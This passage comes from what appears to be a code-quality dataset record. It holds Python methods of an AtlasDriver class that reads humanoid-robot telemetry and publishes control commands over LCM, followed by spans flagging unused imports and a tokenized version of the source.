"content": " def getBracingEnabledStatus(self):\n if not self.lastControllerStatusMessage:\n return None\n if self.lastControllerStatusMessage.bracing_enabled:\n return \"enabled\"\n else:\n return \"disabled\"",
"metadata": "root.AtlasDriver.getBracingEnabledStatus",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 173
},
{
"content": " def getElectricArmEnabledStatus(self, i):\n assert 0 <= i <= 5\n if self.lastAtlasElectricArmStatusMessage:\n return self.lastAtlasElectricArmStatusMessage.enabled[i]\n return False",
"metadata": "root.AtlasDriver.getElectricArmEnabledStatus",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 181
},
{
"content": " def getElectricArmTemperature(self, i):\n assert 0 <= i <= 5\n if self.lastAtlasElectricArmStatusMessage:\n return self.lastAtlasElectricArmStatusMessage.temperature[i]\n return 0.0",
"metadata": "root.AtlasDriver.getElectricArmTemperature",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 187
},
{
"content": " def getElectricArmDriveCurrent(self, i):\n assert 0 <= i <= 5\n if self.lastAtlasElectricArmStatusMessage:\n return self.lastAtlasElectricArmStatusMessage.drive_current[i]\n return 0.0",
"metadata": "root.AtlasDriver.getElectricArmDriveCurrent",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 193
},
{
"content": " def getBatteryChargeRemaining(self):\n if self.lastAtlasBatteryDataMessage:\n return self.lastAtlasBatteryDataMessage.remaining_charge_percentage",
"metadata": "root.AtlasDriver.getBatteryChargeRemaining",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 199
},
{
"content": " def getBatteryVoltage(self):\n if self.lastAtlasBatteryDataMessage:\n return self.lastAtlasBatteryDataMessage.voltage",
"metadata": "root.AtlasDriver.getBatteryVoltage",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 203
},
{
"content": " def getBatteryTemperature(self):\n if self.lastAtlasBatteryDataMessage:\n return self.lastAtlasBatteryDataMessage.temperature",
"metadata": "root.AtlasDriver.getBatteryTemperature",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 207
},
{
"content": " def getCurrentInletPressure(self):\n if self.lastAtlasStatusMessage:\n return self.lastAtlasStatusMessage.pump_inlet_pressure\n return 0.0",
"metadata": "root.AtlasDriver.getCurrentInletPressure",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 211
},
{
"content": " def getCurrentSupplyPressure(self):\n if self.lastAtlasStatusMessage:\n return self.lastAtlasStatusMessage.pump_supply_pressure\n return 0.0",
"metadata": "root.AtlasDriver.getCurrentSupplyPressure",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 216
},
{
"content": " def getCurrentReturnPressure(self):\n if self.lastAtlasStatusMessage:\n return self.lastAtlasStatusMessage.pump_return_pressure\n return 0.0",
"metadata": "root.AtlasDriver.getCurrentReturnPressure",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 221
},
{
"content": " def getCurrentAirSumpPressure(self):\n if self.lastAtlasStatusMessage:\n return self.lastAtlasStatusMessage.air_sump_pressure\n return 0.0",
"metadata": "root.AtlasDriver.getCurrentAirSumpPressure",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 226
},
{
"content": " def getCurrentPumpRpm(self):\n if self.lastAtlasStatusMessage:\n return self.lastAtlasStatusMessage.current_pump_rpm\n return 0.0",
"metadata": "root.AtlasDriver.getCurrentPumpRpm",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 231
},
{
"content": " def getMaxActuatorPressure(self):\n return self.averageRecentMaxPressure",
"metadata": "root.AtlasDriver.getMaxActuatorPressure",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 236
},
{
"content": " def sendDesiredPumpPsi(self, desiredPsi):\n msg = atlas.pump_command_t()\n msg.utime = getUtime()\n\n msg.k_psi_p = 0.0 # Gain on pressure error (A/psi)\n msg.k_psi_i = 0.0 # Gain on the integral of the pressure error (A/(psi/s)\n msg.k_psi_d = 0.0 # Gain on the derivative of the pressure error (A/(psi s)\n\n msg.k_rpm_p = 0.0 # Gain on rpm error (A / rpm)\n msg.k_rpm_i = 0.0 # Gain on the integral of the rpm error (A / (rpm s))\n msg.k_rpm_d = 0.0 # Gain on the derivative of the rpm error (A / (rpm/s)\n\n msg.ff_rpm_d = 0.0 # Feed-forward gain on the desired rpm (A / rpm)\n msg.ff_psi_d = 0.0 # Feed-forward gain on the desired pressure (A / psi)\n msg.ff_const = 0.0 # Constant current term (Amps)\n\n msg.psi_i_max = 0.0 # Max. abs. value to which the integral psi error is clamped (psi s)\n msg.rpm_i_max = 0.0 # Max. abs. value to which the integral rpm error is clamped (rpm s)\n\n # Max. command output (A). Default is 60 Amps.\n # This value may need to be lower than the default in order to avoid\n # causing the motor driver to fault.\n msg.cmd_max = 60\n\n msg.desired_psi = desiredPsi # default should be 1500\n msg.desired_rpm = 5000 # default should be 5000\n\n lcmUtils.publish('ATLAS_PUMP_COMMAND', msg)",
"metadata": "root.AtlasDriver.sendDesiredPumpPsi",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 239
},
{
"content": " def sendBehaviorCommand(self, behaviorName):\n\n msg = lcmdrc.behavior_command_t()\n msg.utime = getUtime()\n msg.command = behaviorName\n lcmUtils.publish('ATLAS_BEHAVIOR_COMMAND', msg)",
"metadata": "root.AtlasDriver.sendBehaviorCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 269
},
{
"content": " def sendStopCommand(self):\n self.sendBehaviorCommand('stop')",
"metadata": "root.AtlasDriver.sendStopCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 276
},
{
"content": " def sendFreezeCommand(self):\n self.sendBehaviorCommand('freeze')",
"metadata": "root.AtlasDriver.sendFreezeCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 279
},
{
"content": " def sendPrepCommand(self):\n self.sendBehaviorCommand('prep')",
"metadata": "root.AtlasDriver.sendPrepCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 282
},
{
"content": " def sendStandCommand(self):\n self.sendBehaviorCommand('stand')",
"metadata": "root.AtlasDriver.sendStandCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 285
},
{
"content": " def sendCombinedStandCommand(self):\n self.sendBehaviorCommand('stand')\n self.startupStage = 1\n self.sentStandUtime = getUtime()",
"metadata": "root.AtlasDriver.sendCombinedStandCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 288
},
{
"content": " def sendMITStandCommand(self):\n msg = lcmdrc.utime_t()\n msg.utime = getUtime()\n lcmUtils.publish('START_MIT_STAND', msg)",
"metadata": "root.AtlasDriver.sendMITStandCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 293
},
{
"content": " def sendRecoveryEnable(self):\n msg = lcmdrc.boolean_t()\n msg.data = True\n lcmUtils.publish('RECOVERY_ENABLE', msg)",
"metadata": "root.AtlasDriver.sendRecoveryEnable",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 298
},
{
"content": " def sendBracingEnable(self):\n msg = lcmdrc.boolean_t()\n msg.data = True\n lcmUtils.publish('BRACING_ENABLE', msg)",
"metadata": "root.AtlasDriver.sendBracingEnable",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 303
},
{
"content": " def sendBracingDisable(self):\n msg = lcmdrc.boolean_t()\n msg.data = False\n lcmUtils.publish('BRACING_ENABLE', msg)",
"metadata": "root.AtlasDriver.sendBracingDisable",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 308
},
{
"content": " def sendRecoveryDisable(self):\n msg = lcmdrc.boolean_t()\n msg.data = False\n lcmUtils.publish('RECOVERY_ENABLE', msg)",
"metadata": "root.AtlasDriver.sendRecoveryDisable",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 313
},
{
"content": " def sendRecoveryTriggerOn(self):\n msg = lcmdrc.recovery_trigger_t()\n msg.activate = True\n msg.override = True\n lcmUtils.publish('RECOVERY_TRIGGER', msg)",
"metadata": "root.AtlasDriver.sendRecoveryTriggerOn",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 318
},
{
"content": " def sendRecoveryTriggerOff(self):\n msg = lcmdrc.recovery_trigger_t()\n msg.activate = False\n msg.override = True\n lcmUtils.publish('RECOVERY_TRIGGER', msg)",
"metadata": "root.AtlasDriver.sendRecoveryTriggerOff",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 324
},
{
"content": " def sendManipCommand(self):\n self.sendBehaviorCommand('manip')",
"metadata": "root.AtlasDriver.sendManipCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 330
},
{
"content": " def sendUserCommand(self):\n self.sendBehaviorCommand('user')",
"metadata": "root.AtlasDriver.sendUserCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 333
},
{
"content": " def sendCalibrateNullBiasCommand(self):\n self.sendBehaviorCommand('calibrate_null_bias')",
"metadata": "root.AtlasDriver.sendCalibrateNullBiasCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 336
},
{
"content": " def sendCalibrateElectricArmsCommand(self):\n self.sendBehaviorCommand('calibrate_electric_arms')",
"metadata": "root.AtlasDriver.sendCalibrateElectricArmsCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 339
},
{
"content": " def sendCalibrateElectricArmsFreezeCommand(self):\n self.sendBehaviorCommand('calibrate_electric_arms_freeze')",
"metadata": "root.AtlasDriver.sendCalibrateElectricArmsFreezeCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 342
},
{
"content": " def sendElectricArmEnabledState(self, enabledState):\n msg = atlas.electric_arm_enable_t()\n msg.utime = getUtime()\n msg.num_electric_arm_joints = 6\n assert len(enabledState) == msg.num_electric_arm_joints\n msg.enable = enabledState\n lcmUtils.publish('ATLAS_ELECTRIC_ARM_ENABLE', msg)",
"metadata": "root.AtlasDriver.sendElectricArmEnabledState",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 345
},
{
"content": " def sendCalibrateEncodersCommand(self):\n msg = lcmdrc.utime_t()\n msg.utime = getUtime()\n lcmUtils.publish('CALIBRATE_ARM_ENCODERS', msg)",
"metadata": "root.AtlasDriver.sendCalibrateEncodersCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 353
},
{
"content": " def sendPlanUsingBdiHeight(self, enabled):\n msg = lcmdrc.plan_adjust_mode_t()\n msg.utime = getUtime()\n msg.mode = 1 if enabled else 0\n lcmUtils.publish('PLAN_USING_BDI_HEIGHT', msg)",
"metadata": "root.AtlasDriver.sendPlanUsingBdiHeight",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 358
},
{
"content": " def sendInitAtZero(self, randomize=False):\n self.sendReadyMessage()\n\n if randomize:\n bounds = np.array([50.0, 50.0, 50.0])\n pos = -bounds + np.random.rand(3) * 2*bounds\n yaw = np.random.rand()*np.pi*2\n else:\n pos = [0,0,0.85]\n yaw = 0.0\n\n self.sendInitMessage(pos, yaw)",
"metadata": "root.AtlasDriver.sendInitAtZero",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 365
},
{
"content": " def sendReadyMessage(self):\n ready_init = lcmdrc.utime_t()\n ready_init.utime = getUtime()\n lcmUtils.publish('STATE_EST_READY', ready_init)\n time.sleep(1) # sleep needed to give SE time to restart",
"metadata": "root.AtlasDriver.sendReadyMessage",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 378
},
{
"content": " def sendInitMessage(self, pos, yaw):\n init = indexed_measurement_t()\n init.utime = getUtime()\n init.state_utime = init.utime\n init.measured_dim = 4\n init.z_effective = [ pos[0], pos[1], pos[2] , yaw ]\n init.z_indices = [9, 10, 11, 8]\n\n init.measured_cov_dim = init.measured_dim*init.measured_dim\n init.R_effective= [0] * init.measured_cov_dim\n init.R_effective[0] = 0.25\n init.R_effective[5] = 0.25\n init.R_effective[10] = 0.25\n init.R_effective[15] = math.pow( 50*math.pi/180 , 2 )\n\n lcmUtils.publish('MAV_STATE_EST_VIEWER_MEASUREMENT', init)",
"metadata": "root.AtlasDriver.sendInitMessage",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 385
},
{
"content": " def updateCombinedStandLogic(self):\n if (self.sentStandUtime is not None):\n if (self.startupStage == 1):\n if ( getUtime() > self.sentStandUtime + 6E6 ):\n # print \"Sending SE Init\"\n self.sendInitAtZero()\n self.startupStage = 2\n\n elif (self.startupStage == 2):\n if ( getUtime() > self.sentStandUtime + 10E6 ):\n self.sendBehaviorCommand('user')\n self.sendMITStandCommand()\n # print \"Sending BDI User & MIT Stand commands\"\n self.startupStage = 0",
"metadata": "root.AtlasDriver.updateCombinedStandLogic",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 403
},
{
"content": " def getPelvisHeightLimits(self):\n '''\n returns pelvis height limits in meters: min, max\n '''\n return (0.66, 0.92)",
"metadata": "root.AtlasDriver.getPelvisHeightLimits",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 419
},
{
"content": " def sendPelvisHeightCommand(self, height):\n\n heightLimit = self.getPelvisHeightLimits()\n assert heightLimit[0] <= height <= heightLimit[1]\n\n pelvisParams = atlas.behavior_pelvis_servo_params_t()\n pelvisParams.com_v0 = 0.0\n pelvisParams.com_v1 = 0.0\n pelvisParams.pelvis_height = height\n pelvisParams.pelvis_yaw = 0.0\n pelvisParams.pelvis_pitch = 0.0\n pelvisParams.pelvis_roll = 0.0\n\n msg = atlas.behavior_manipulate_params_t()\n msg.use_demo_mode = 0\n msg.use_desired = 1\n msg.desired = pelvisParams\n\n lcmUtils.publish('ATLAS_MANIPULATE_PARAMS', msg)",
"metadata": "root.AtlasDriver.sendPelvisHeightCommand",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 426
},
{
"content": "def init(outputConsole=None):\n\n global driver\n driver = AtlasDriver()\n\n global systemStatus\n systemStatus = SystemStatusListener(outputConsole)\n\n return driver",
"metadata": "root.init",
"header": "['module', '___EOS___']",
"index": 448
}
]
| [
{
"span": "import os",
"start_line": 0,
"start_column": 0,
"end_line": 0,
"end_column": 9
},
{
"span": "import vtkAll as vtk",
"start_line": 1,
"start_column": 0,
"end_line": 1,
"end_column": 20
},
{
"span": "from director import transformUtils",
"start_line": 6,
"start_column": 0,
"end_line": 6,
"end_column": 35
},
{
"span": "from director.timercallback import TimerCallback",
"start_line": 8,
"start_column": 0,
"end_line": 8,
"end_column": 48
},
{
"span": "from director import objectmodel as om",
"start_line": 9,
"start_column": 0,
"end_line": 9,
"end_column": 38
},
{
"span": "from director import visualization as vis",
"start_line": 10,
"start_column": 0,
"end_line": 10,
"end_column": 41
},
{
"span": "from director import applogic as app",
"start_line": 11,
"start_column": 0,
"end_line": 11,
"end_column": 36
},
{
"span": "from director.debugVis import DebugData",
"start_line": 12,
"start_column": 0,
"end_line": 12,
"end_column": 39
},
{
"span": "from director import ioUtils",
"start_line": 13,
"start_column": 0,
"end_line": 13,
"end_column": 28
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"vtk",
"All_",
"as_",
"vtk_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"math_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"numpy_",
"as_",
"np_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"collections_",
"import_",
"deque_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"director_",
"import_",
"transform",
"Utils_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"import_",
"lcm",
"Utils_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"._",
"timer",
"callback_",
"import_",
"Time",
"r",
"Callback_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"import_",
"object",
"model_",
"as_",
"om_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"import_",
"visualization",
"_",
"as_",
"vis_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"import_",
"appl",
"ogi",
"c_",
"as_",
"app_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"._",
"debug",
"Vis",
"_",
"import_",
"Deb",
"ug",
"Data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"import_",
"io",
"Utils_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"._",
"simple",
"timer_",
"import_",
"Simple",
"Timer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"director_",
"._",
"utime",
"_",
"import_",
"get",
"Ut",
"ime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"dr",
"c_",
"as_",
"lcm",
"dr",
"c_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"bot",
"\\u",
"core_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"atlas",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"pron",
"to_",
"._",
"indexe",
"d\\u",
"measure",
"ment",
"\\u",
"t_",
"import_",
"indexe",
"d\\u",
"measure",
"ment",
"\\u",
"t_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"System",
"Status",
"Listener_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"System",
"Status",
"Listener_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"output",
"Console_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"output",
"Console_",
"=_",
"output",
"Console_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"add",
"Subscriber_",
"(_",
"'",
"SYSTEM",
"\\u",
"STATUS",
"'_",
",_",
"bot",
"\\u",
"core_",
"._",
"system",
"\\u",
"status",
"\\u",
"t_",
",_",
"self_",
"._",
"on",
"System",
"Status_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"System",
"Status",
"Listener_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"on",
"System",
"Status_",
"(_",
"self_",
",_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"message_",
"=_",
"'",
"SYSTEM",
"\\u",
"STATUS",
":",
" ",
"'_",
"+_",
"message_",
"._",
"value_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"output",
"Console_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"output",
"Console_",
"._",
"append_",
"(_",
"message_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"message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\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"last",
"Controlle",
"r",
"Rat",
"e",
"Message_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"max",
"Press",
"ure",
"History_",
"=_",
"deque_",
"(_",
"[_",
"0.0_",
"]_",
",_",
"10_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"averag",
"e",
"Rece",
"nt",
"Max",
"Press",
"ure_",
"=_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"setup",
"Subscription",
"s_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"timer_",
"=_",
"Simple",
"Timer_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"sent",
"Stand",
"Ut",
"ime_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"start",
"up",
"Stage_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"behavior",
"Map_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"controlle",
"r",
"Status",
"Map_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"setup",
"Subscription",
"s_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"lcm",
"Utils_",
"._",
"add",
"Subscriber_",
"(_",
"'",
"PLAN",
"\\u",
"EXECUT",
"ION",
"\\u",
"STATUS",
"'_",
",_",
"lcm",
"dr",
"c_",
"._",
"plan",
"\\u",
"status",
"\\u",
"t_",
",_",
"self_",
"._",
"on",
"Controlle",
"r",
"Status_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"add",
"Subscriber_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"BAT",
"TER",
"Y",
"\\u",
"DATA",
"'_",
",_",
"atlas",
"_",
"._",
"battery",
"\\u",
"data\\u",
"t_",
",_",
"self_",
"._",
"on",
"Atla",
"s",
"Batt",
"ery",
"Data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"add",
"Subscriber_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"ELECT",
"RIC",
"\\u",
"ARM",
"\\u",
"STATUS",
"'_",
",_",
"atlas",
"_",
"._",
"electric",
"\\u",
"arm",
"\\u",
"status",
"\\u",
"t_",
",_",
"self_",
"._",
"on",
"Atla",
"s",
"Electric",
"Arm",
"Status_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"add",
"Subscriber_",
"(_",
"'",
"CONTROLLER",
"\\u",
"RAT",
"E",
"'_",
",_",
"lcm",
"dr",
"c_",
"._",
"message",
"\\u",
"rate",
"\\u",
"t_",
",_",
"self_",
"._",
"on",
"Controlle",
"r",
"Rate_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sub_",
"=_",
"lcm",
"Utils_",
"._",
"add",
"Subscriber_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"STATUS",
"'_",
",_",
"atlas",
"_",
"._",
"status",
"\\u",
"t_",
",_",
"self_",
"._",
"on",
"Atla",
"s",
"Status_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sub_",
"._",
"set",
"Spee",
"d",
"Limit_",
"(_",
"60_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sub_",
"=_",
"lcm",
"Utils_",
"._",
"add",
"Subscriber_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"STATE",
"\\u",
"EXTRA",
"'_",
",_",
"atlas",
"_",
"._",
"state",
"\\u",
"extra",
"\\u",
"t_",
",_",
"self_",
"._",
"on",
"Atla",
"s",
"State",
"Extra",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sub_",
"._",
"set",
"Spee",
"d",
"Limit_",
"(_",
"5_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"on",
"Atla",
"s",
"Status_",
"(_",
"self_",
",_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"=_",
"message_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"on",
"Controlle",
"r",
"Status_",
"(_",
"self_",
",_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
"=_",
"message_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"on",
"Controlle",
"r",
"Rate_",
"(_",
"self_",
",_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"last",
"Controlle",
"r",
"Rat",
"e",
"Message_",
"=_",
"message_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
